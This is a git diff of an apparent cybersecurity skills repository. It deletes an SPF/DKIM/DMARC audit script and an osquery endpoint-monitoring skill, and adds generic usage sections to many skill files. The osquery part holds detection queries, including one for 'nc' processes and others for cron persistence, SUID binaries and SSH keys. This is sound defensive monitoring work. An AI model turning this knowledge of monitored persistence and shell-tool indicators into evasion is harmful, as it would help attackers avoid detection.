r/s | DKIM alignment (relaxed/strict) | -| `aspf` | r/s | SPF alignment (relaxed/strict) | - -## Risk Scoring -| Condition | Score | -|-----------|-------| -| No SPF record | +40 critical | -| SPF +all | +40 critical | -| SPF ~all | +10 medium | -| No DKIM | +25 high | -| No DMARC | +40 critical | -| DMARC p=none | +25 high | -| DMARC pct < 100 | +10 medium | diff --git a/skills/implementing-email-security-with-dmarc-dkim-spf.bak/scripts/agent.py b/skills/implementing-email-security-with-dmarc-dkim-spf.bak/scripts/agent.py deleted file mode 100644 index cd3cecec..00000000 --- a/skills/implementing-email-security-with-dmarc-dkim-spf.bak/scripts/agent.py +++ /dev/null @@ -1,264 +0,0 @@ -#!/usr/bin/env python3 -"""Email Security Audit Agent - Validates SPF, DKIM, and DMARC DNS records for domains.""" - -import json -import re -import logging -import argparse -from datetime import datetime - -import dns.resolver - -logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") -logger = logging.getLogger(__name__) - -DKIM_SELECTORS = [ - "default", "google", "selector1", "selector2", "k1", "k2", - "mail", "dkim", "s1", "s2", "mandrill", "everlytickey1", - "smtpapi", "pic", "protonmail", "protonmail2", "protonmail3", -] - - -def query_txt_records(domain, prefix=""): - """Query TXT DNS records for a domain.""" - fqdn = f"{prefix}.{domain}" if prefix else domain - try: - answers = dns.resolver.resolve(fqdn, "TXT") - records = [] - for rdata in answers: - txt = b"".join(rdata.strings).decode("utf-8", errors="ignore") - records.append(txt) - return records - except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, dns.resolver.NoNameservers, dns.exception.Timeout): - return [] - - -def check_spf(domain): - """Check and validate SPF record.""" - records = query_txt_records(domain) - spf_records = [r for r in records if r.startswith("v=spf1")] - - if not spf_records: - return {"status": "missing", "severity": "critical", "issues": ["No SPF record found"], "record": None} - - if len(spf_records) > 1: - issues = ["Multiple SPF records found (RFC violation, causes permerror)"] - else: - issues = [] - - spf = spf_records[0] - mechanisms = spf.split() - include_count = sum(1 for m in mechanisms if m.startswith("include:")) - has_all = any(m in ("~all", "-all", "+all", "?all") for m in mechanisms) - - if "+all" in mechanisms: - issues.append("SPF uses +all (allows any sender - completely open)") - severity = "critical" - elif "?all" in mechanisms: - issues.append("SPF uses ?all (neutral - no protection)") - severity = "high" - elif "~all" in mechanisms: - issues.append("SPF uses ~all (softfail - mail accepted but marked)") - severity = "medium" - elif "-all" in mechanisms: - severity = "low" - elif not has_all: - issues.append("SPF record missing -all qualifier") - severity = "high" - else: - severity = "low" - - if include_count > 10: - issues.append(f"SPF has {include_count} includes (>10 DNS lookups causes permerror)") - severity = "high" - - lookup_mechanisms = sum(1 for m in mechanisms if any(m.startswith(p) for p in ("include:", "a:", "mx:", "ptr:", "exists:", "redirect="))) - if lookup_mechanisms > 10: - issues.append(f"SPF exceeds 10 DNS lookup limit ({lookup_mechanisms} lookups)") - - return { - "status": "found", - "record": spf, - "mechanism_count": len(mechanisms), - "include_count": include_count, - "dns_lookups": lookup_mechanisms, - "qualifier": next((m for m in mechanisms if m.endswith("all")), "none"), - "severity": severity, - "issues": issues, - } - - -def check_dkim(domain, selectors=None): - """Check DKIM records for common selectors.""" - if selectors is None: - selectors = DKIM_SELECTORS - - found_selectors = [] - for selector in selectors: - records = query_txt_records(domain, prefix=f"{selector}._domainkey") - dkim_records = [r for r in records if "v=DKIM1" in r or "k=rsa" in r or "p=" in r] - if dkim_records: - record = dkim_records[0] - key_match = re.search(r"p=([A-Za-z0-9+/=]+)", record) - key_length = len(key_match.group(1)) * 6 // 8 if key_match else 0 - issues = [] - if key_length and key_length < 128: - issues.append(f"DKIM key too short ({key_length} bytes, minimum 1024 bits recommended)") - if "p=" in record and not key_match: - issues.append("DKIM public key appears empty (revoked)") - found_selectors.append({ - "selector": selector, - "record": record[:200], - "key_size_bytes": key_length, - "issues": issues, - }) - - if not found_selectors: - return { - "status": "not_found", - "severity": "high", - "issues": ["No DKIM records found for any common selector"], - "selectors_checked": len(selectors), - "selectors_found": [], - } - - return { - "status": "found", - "severity": "low", - "selectors_checked": len(selectors), - "selectors_found": found_selectors, - "issues": [i for s in found_selectors for i in s["issues"]], - } - - -def check_dmarc(domain): - """Check and validate DMARC record.""" - records = query_txt_records(domain, prefix="_dmarc") - dmarc_records = [r for r in records if r.startswith("v=DMARC1")] - - if not dmarc_records: - return {"status": "missing", "severity": "critical", "issues": ["No DMARC record found"], "record": None} - - dmarc = dmarc_records[0] - tags = {} - for part in dmarc.split(";"): - part = part.strip() - if "=" in part: - key, val = part.split("=", 1) - tags[key.strip()] = val.strip() - - issues = [] - policy = tags.get("p", "none") - subdomain_policy = tags.get("sp", policy) - pct = int(tags.get("pct", "100")) - rua = tags.get("rua", "") - ruf = tags.get("ruf", "") - adkim = tags.get("adkim", "r") - aspf = tags.get("aspf", "r") - - if policy == "none": - issues.append("DMARC policy is 'none' - no enforcement (monitoring only)") - severity = "high" - elif policy == "quarantine": - severity = "medium" if pct < 100 else "low" - if pct < 100: - issues.append(f"DMARC only applied to {pct}% of messages") - elif policy == "reject": - severity = "low" - if pct < 100: - issues.append(f"DMARC reject only applied to {pct}% of messages") - severity = "medium" - else: - severity = "high" - issues.append(f"Unknown DMARC policy: {policy}") - - if not rua: - issues.append("No aggregate report URI (rua) configured") - if not ruf: - issues.append("No forensic report URI (ruf) configured") - if adkim == "r": - issues.append("DKIM alignment is relaxed (adkim=r)") - if aspf == "r": - issues.append("SPF alignment is relaxed (aspf=r)") - - return { - "status": "found", - "record": dmarc, - "policy": policy, - "subdomain_policy": subdomain_policy, - "percentage": pct, - "aggregate_report": rua, - "forensic_report": ruf, - "dkim_alignment": adkim, - "spf_alignment": aspf, - "severity": severity, - "issues": issues, - } - - -def compute_risk_score(spf, dkim, dmarc): - """Compute overall email security risk score.""" - severity_scores = {"critical": 40, "high": 25, "medium": 10, "low": 0} - score = 0 - score += severity_scores.get(spf["severity"], 0) - score += severity_scores.get(dkim["severity"], 0) - score += severity_scores.get(dmarc["severity"], 0) - - if spf["status"] == "missing": - score += 20 - if dmarc.get("policy") == "none": - score += 15 - - if score >= 60: - risk = "CRITICAL" - elif score >= 35: - risk = "HIGH" - elif score >= 15: - risk = "MEDIUM" - else: - risk = "LOW" - return {"score": score, "risk_level": risk} - - -def generate_report(domain, spf, dkim, dmarc, risk): - """Generate email security audit report.""" - all_issues = spf.get("issues", []) + dkim.get("issues", []) + dmarc.get("issues", []) - report = { - "timestamp": datetime.utcnow().isoformat(), - "domain": domain, - "risk_assessment": risk, - "spf": spf, - "dkim": dkim, - "dmarc": dmarc, - "total_issues": len(all_issues), - "all_issues": all_issues, - } - print(f"EMAIL SECURITY [{domain}]: Risk={risk['risk_level']} Score={risk['score']} Issues={len(all_issues)}") - return report - - -def main(): - parser = argparse.ArgumentParser(description="Email Security Audit Agent (SPF/DKIM/DMARC)") - parser.add_argument("--domain", required=True, help="Domain to audit") - parser.add_argument("--dkim-selectors", nargs="*", help="Custom DKIM selectors to check") - parser.add_argument("--output", default="email_security_report.json") - args = parser.parse_args() - - spf = check_spf(args.domain) - logger.info("SPF: %s (severity: %s)", spf["status"], spf["severity"]) - - dkim = check_dkim(args.domain, args.dkim_selectors) - logger.info("DKIM: %s (%d selectors found)", dkim["status"], len(dkim.get("selectors_found", []))) - - dmarc = check_dmarc(args.domain) - logger.info("DMARC: %s (severity: %s)", dmarc["status"], dmarc["severity"]) - - risk = compute_risk_score(spf, dkim, dmarc) - report = generate_report(args.domain, spf, dkim, dmarc, risk) - with open(args.output, "w") as f: - json.dump(report, f, indent=2) - logger.info("Report saved to %s", args.output) - - -if __name__ == "__main__": - main() diff --git a/skills/implementing-end-to-end-encryption-for-messaging/SKILL.md b/skills/implementing-end-to-end-encryption-for-messaging/SKILL.md index 20be9725..0b7a7a48 100644 --- a/skills/implementing-end-to-end-encryption-for-messaging/SKILL.md +++ b/skills/implementing-end-to-end-encryption-for-messaging/SKILL.md @@ -14,6 +14,21 @@ license: Apache-2.0 End-to-end encryption (E2EE) ensures that only the communicating parties can read messages, with no intermediary (including the server) able to decrypt them. This skill implements a simplified version of the Signal Protocol's Double Ratchet algorithm, using X25519 for key exchange, HKDF for key derivation, and AES-256-GCM for message encryption. + +## When to Use + +- When deploying or configuring implementing end to end encryption for messaging capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with cryptography concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Implement X25519 Diffie-Hellman key exchange for session establishment diff --git a/skills/implementing-envelope-encryption-with-aws-kms/SKILL.md b/skills/implementing-envelope-encryption-with-aws-kms/SKILL.md index 3e16cffb..80401241 100644 --- a/skills/implementing-envelope-encryption-with-aws-kms/SKILL.md +++ b/skills/implementing-envelope-encryption-with-aws-kms/SKILL.md @@ -14,6 +14,21 @@ license: Apache-2.0 Envelope encryption is a strategy where data is encrypted with a data encryption key (DEK), and the DEK itself is encrypted with a master key (KEK) managed by AWS KMS. This approach allows encrypting large volumes of data locally while keeping the master key secure in a hardware security module (HSM) managed by AWS. This skill covers implementing envelope encryption using AWS KMS GenerateDataKey API. + +## When to Use + +- When deploying or configuring implementing envelope encryption with aws kms capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with cryptography concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Understand the envelope encryption pattern and its advantages diff --git a/skills/implementing-epss-score-for-vulnerability-prioritization/SKILL.md b/skills/implementing-epss-score-for-vulnerability-prioritization/SKILL.md index 08686981..908b23ee 100644 --- a/skills/implementing-epss-score-for-vulnerability-prioritization/SKILL.md +++ b/skills/implementing-epss-score-for-vulnerability-prioritization/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 The Exploit Prediction Scoring System (EPSS) is a data-driven model developed by FIRST (Forum of Incident Response and Security Teams) that estimates the probability of a CVE being exploited in the wild within the next 30 days. EPSS produces scores from 0.0 to 1.0 (0% to 100%) using machine learning trained on real-world exploitation data. Unlike CVSS which measures severity, EPSS measures likelihood of exploitation, making it essential for risk-based vulnerability prioritization. + +## When to Use + +- When deploying or configuring implementing epss score for vulnerability prioritization capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Python 3.9+ with `requests`, `pandas`, `matplotlib` diff --git a/skills/implementing-gcp-binary-authorization/SKILL.md b/skills/implementing-gcp-binary-authorization/SKILL.md index afaaf216..c23a465c 100644 --- a/skills/implementing-gcp-binary-authorization/SKILL.md +++ b/skills/implementing-gcp-binary-authorization/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Binary Authorization is a Google Cloud deploy-time security control that ensures only trusted container images are deployed on GKE or Cloud Run. It works through a policy-based model where images must have cryptographic attestations confirming they passed predefined requirements such as vulnerability scans, code reviews, or build pipeline verification. Continuous validation (CV) monitors running pods against policies and logs violations. + +## When to Use + +- When deploying or configuring implementing gcp binary authorization capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - GCP project with Binary Authorization API enabled diff --git a/skills/implementing-gcp-organization-policy-constraints/SKILL.md b/skills/implementing-gcp-organization-policy-constraints/SKILL.md index a5bdea76..38298240 100644 --- a/skills/implementing-gcp-organization-policy-constraints/SKILL.md +++ b/skills/implementing-gcp-organization-policy-constraints/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 The GCP Organization Policy Service provides centralized and programmatic control over cloud resources. Organization policies configure constraints that restrict one or more Google Cloud services, enforced at organization, folder, or project levels. They improve security by blocking external IPs, requiring encryption, and minimizing unauthorized access. Changes can take up to 15 minutes to propagate. + +## When to Use + +- When deploying or configuring implementing gcp organization policy constraints capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - GCP Organization with Organization Administrator role diff --git a/skills/implementing-identity-governance-with-sailpoint/SKILL.md b/skills/implementing-identity-governance-with-sailpoint/SKILL.md index bda7c441..3c200294 100644 --- a/skills/implementing-identity-governance-with-sailpoint/SKILL.md +++ b/skills/implementing-identity-governance-with-sailpoint/SKILL.md @@ -13,6 +13,21 @@ license: Apache-2.0 ## Overview Deploy SailPoint IdentityNow or IdentityIQ for identity governance and administration. Covers identity lifecycle management, access request workflows, certification campaigns, role mining, SOD policy enforcement, and compliance reporting for enterprise IAM. + +## When to Use + +- When deploying or configuring implementing identity governance with sailpoint capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with identity access management concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Implement comprehensive implementing identity governance with sailpoint capability - Establish automated discovery and monitoring processes diff --git a/skills/implementing-image-provenance-verification-with-cosign/SKILL.md b/skills/implementing-image-provenance-verification-with-cosign/SKILL.md index 2be2e337..0b58c8f7 100644 --- a/skills/implementing-image-provenance-verification-with-cosign/SKILL.md +++ b/skills/implementing-image-provenance-verification-with-cosign/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Cosign is a Sigstore tool for signing, verifying, and attaching metadata to container images and OCI artifacts. It supports both key-based and keyless (OIDC) signing, integrates with Fulcio (certificate authority) and Rekor (transparency log), and enables supply chain security for container images. + +## When to Use + +- When deploying or configuring implementing image provenance verification with cosign capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Cosign CLI installed diff --git a/skills/implementing-jwt-signing-and-verification/SKILL.md b/skills/implementing-jwt-signing-and-verification/SKILL.md index c22f276a..60ac2bf5 100644 --- a/skills/implementing-jwt-signing-and-verification/SKILL.md +++ b/skills/implementing-jwt-signing-and-verification/SKILL.md @@ -14,6 +14,21 @@ license: Apache-2.0 JSON Web Tokens (JWT) defined in RFC 7519 are compact, URL-safe tokens used for authentication and authorization in web applications. This skill covers implementing secure JWT signing with HMAC-SHA256, RSA-PSS, and EdDSA algorithms, along with verification, token expiration, claims validation, and defense against common JWT attacks (algorithm confusion, none algorithm, key injection). + +## When to Use + +- When deploying or configuring implementing jwt signing and verification capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with cryptography concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Implement JWT signing with HS256, RS256, ES256, and EdDSA diff --git a/skills/implementing-kubernetes-network-policy-with-calico/SKILL.md b/skills/implementing-kubernetes-network-policy-with-calico/SKILL.md index 838a0882..3b792149 100644 --- a/skills/implementing-kubernetes-network-policy-with-calico/SKILL.md +++ b/skills/implementing-kubernetes-network-policy-with-calico/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Calico is an open-source CNI plugin that provides fine-grained network policy enforcement for Kubernetes clusters. It implements the full Kubernetes NetworkPolicy API and extends it with Calico-specific GlobalNetworkPolicy, supporting policy ordering, deny rules, and service-account-based selectors. + +## When to Use + +- When deploying or configuring implementing kubernetes network policy with calico capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Kubernetes cluster (v1.24+) diff --git a/skills/implementing-mitre-attack-coverage-mapping/SKILL.md b/skills/implementing-mitre-attack-coverage-mapping/SKILL.md index 665bcccc..5eb152ff 100644 --- a/skills/implementing-mitre-attack-coverage-mapping/SKILL.md +++ b/skills/implementing-mitre-attack-coverage-mapping/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 MITRE ATT&CK coverage mapping gives SOC teams a structured, adversary-centric lens to evaluate detection capabilities. Enterprise SIEMs on average have detection coverage for only 21% of ATT&CK techniques (2025 CardinalOps report), with 13% of existing rules being non-functional due to misconfigured data sources. Systematic coverage mapping identifies gaps, prioritizes rule development, and tracks detection maturity over time. ATT&CK v18.1 (December 2025) is the latest version. + +## When to Use + +- When deploying or configuring implementing mitre attack coverage mapping capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Access to MITRE ATT&CK Navigator (https://mitre-attack.github.io/attack-navigator/) diff --git a/skills/implementing-opa-gatekeeper-for-policy-enforcement/SKILL.md b/skills/implementing-opa-gatekeeper-for-policy-enforcement/SKILL.md index def8a5bc..314f86d0 100644 --- a/skills/implementing-opa-gatekeeper-for-policy-enforcement/SKILL.md +++ b/skills/implementing-opa-gatekeeper-for-policy-enforcement/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 OPA Gatekeeper is a Kubernetes admission controller that enforces policies written in Rego. It uses ConstraintTemplates (policy blueprints with Rego logic) and Constraints (instantiated policies with parameters) to validate, mutate, or deny Kubernetes resource requests at admission time. + +## When to Use + +- When deploying or configuring implementing opa gatekeeper for policy enforcement capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Kubernetes cluster v1.24+ diff --git a/skills/implementing-osquery-for-endpoint-monitoring.bak/LICENSE b/skills/implementing-osquery-for-endpoint-monitoring.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/implementing-osquery-for-endpoint-monitoring.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/implementing-osquery-for-endpoint-monitoring.bak/SKILL.md b/skills/implementing-osquery-for-endpoint-monitoring.bak/SKILL.md deleted file mode 100644 index faf29a25..00000000 --- a/skills/implementing-osquery-for-endpoint-monitoring.bak/SKILL.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -name: implementing-osquery-for-endpoint-monitoring -description: >- - Deploy osquery scheduled queries for continuous endpoint monitoring covering process inventory, - network connections, file integrity, and persistence mechanisms. Generates osquery.conf with - query packs, configures differential result logging, and analyzes query results to detect - suspicious processes, unauthorized listeners, and file modifications in system directories. -domain: cybersecurity -subdomain: security-operations -tags: [implementing, osquery, for, endpoint] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- - -## Instructions - -1. Install dependencies: `pip install requests` (osquery installed on endpoints) -2. Generate `osquery.conf` with scheduled query packs for: - - Process monitoring: new processes, unusual parent-child relationships - - Network listeners: unexpected listening ports and outbound connections - - File integrity: modifications in /etc, /usr/bin, system32 - - Persistence: cron jobs, startup items, scheduled tasks, services -3. Deploy configuration to endpoints. -4. Analyze differential results from osquery log output. -5. Generate security findings report. - -```bash -python scripts/agent.py --results-dir /var/log/osquery/results/ --output osquery_report.json -``` - -## Examples - -### Osquery Scheduled Query -```json -{"schedule": {"process_snapshot": {"query": "SELECT pid, name, path, cmdline, uid FROM processes WHERE on_disk = 0;", "interval": 300}}} -``` diff --git a/skills/implementing-osquery-for-endpoint-monitoring.bak/references/api-reference.md b/skills/implementing-osquery-for-endpoint-monitoring.bak/references/api-reference.md deleted file mode 100644 index e34f4892..00000000 --- a/skills/implementing-osquery-for-endpoint-monitoring.bak/references/api-reference.md +++ /dev/null @@ -1,51 +0,0 @@ -# API Reference: Osquery Endpoint Monitoring - -## osquery.conf Structure -```json -{ - "options": { - "logger_plugin": "filesystem", - "logger_path": "/var/log/osquery", - "database_path": "/var/osquery/osquery.db", - "worker_threads": "2" - }, - "schedule": { - "query_name": { - "query": "SELECT * FROM processes;", - "interval": 300, - "description": "Description" - } - }, - "file_paths": { - "category": ["/etc/%%", "/usr/bin/%%"] - } -} -``` - -## Key Osquery Tables -| Table | Description | -|-------|-------------| -| processes | Running processes (pid, name, path, cmdline, uid) | -| listening_ports | Open listening ports (pid, port, protocol) | -| process_open_sockets | Active network connections | -| crontab | Cron job entries | -| suid_bin | SUID/SGID binaries | -| file | File metadata (path, size, mtime, sha256) | -| kernel_modules | Loaded kernel modules | -| authorized_keys | SSH authorized keys | -| startup_items | Startup/login items | -| shell_history | Shell command history | - -## Result Log Format (JSON Lines) -```json -{"name":"query_name","action":"added","columns":{"pid":"1234","name":"suspicious"},"unixTime":"1705312200"} -``` -- `action`: "added" (new row) or "removed" (row disappeared) -- `columns`: query result columns as key-value pairs - -## osquery CLI -```bash -osqueryi "SELECT * FROM processes WHERE name = 'nc';" -osqueryctl start # Start daemon -osqueryctl config-check # Validate config -``` diff --git a/skills/implementing-osquery-for-endpoint-monitoring.bak/scripts/agent.py b/skills/implementing-osquery-for-endpoint-monitoring.bak/scripts/agent.py deleted file mode 100644 index 6234273d..00000000 --- a/skills/implementing-osquery-for-endpoint-monitoring.bak/scripts/agent.py +++ /dev/null @@ -1,217 +0,0 @@ -#!/usr/bin/env python3 -"""Osquery Endpoint Monitoring Agent - Generates configs, deploys queries, and analyzes results.""" - -import json -import os -import logging -import argparse -from datetime import datetime - -logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") -logger = logging.getLogger(__name__) - -SECURITY_QUERIES = { - "process_not_on_disk": { - "query": "SELECT pid, name, path, cmdline, uid FROM processes WHERE on_disk = 0;", - "interval": 300, - "description": "Detect processes running from deleted binaries", - }, - "listening_ports": { - "query": ( - "SELECT lp.pid, lp.port, lp.protocol, lp.address, p.name, p.path " - "FROM listening_ports lp JOIN processes p ON lp.pid = p.pid " - "WHERE lp.port NOT IN (22, 80, 443, 3306, 5432);" - ), - "interval": 600, - "description": "Monitor unexpected listening ports", - }, - "outbound_connections": { - "query": ( - "SELECT pid, remote_address, remote_port, local_port, p.name, p.path " - "FROM process_open_sockets pos JOIN processes p ON pos.pid = p.pid " - "WHERE remote_address NOT IN ('0.0.0.0', '127.0.0.1', '::1', '') " - "AND remote_address NOT LIKE '10.%' AND remote_address NOT LIKE '192.168.%';" - ), - "interval": 300, - "description": "Monitor external outbound connections", - }, - "cron_persistence": { - "query": "SELECT * FROM crontab WHERE command NOT LIKE '%logrotate%' AND command NOT LIKE '%anacron%';", - "interval": 3600, - "description": "Detect new cron job persistence", - }, - "suid_binaries": { - "query": "SELECT path, mode, uid, gid FROM suid_bin WHERE path NOT LIKE '/usr/%' AND path NOT LIKE '/bin/%';", - "interval": 3600, - "description": "Detect SUID binaries outside standard paths", - }, - "file_integrity_etc": { - "query": ( - "SELECT path, mtime, size, sha256 FROM file " - "WHERE path LIKE '/etc/%%' AND mtime > (SELECT CAST(strftime('%s', 'now', '-1 hour') AS INTEGER));" - ), - "interval": 600, - "description": "Monitor file changes in /etc", - }, - "kernel_modules": { - "query": "SELECT name, size, status, address FROM kernel_modules WHERE status = 'Live';", - "interval": 3600, - "description": "Monitor loaded kernel modules", - }, - "authorized_keys": { - "query": "SELECT uid, algorithm, key, key_file FROM authorized_keys;", - "interval": 3600, - "description": "Monitor SSH authorized keys", - }, - 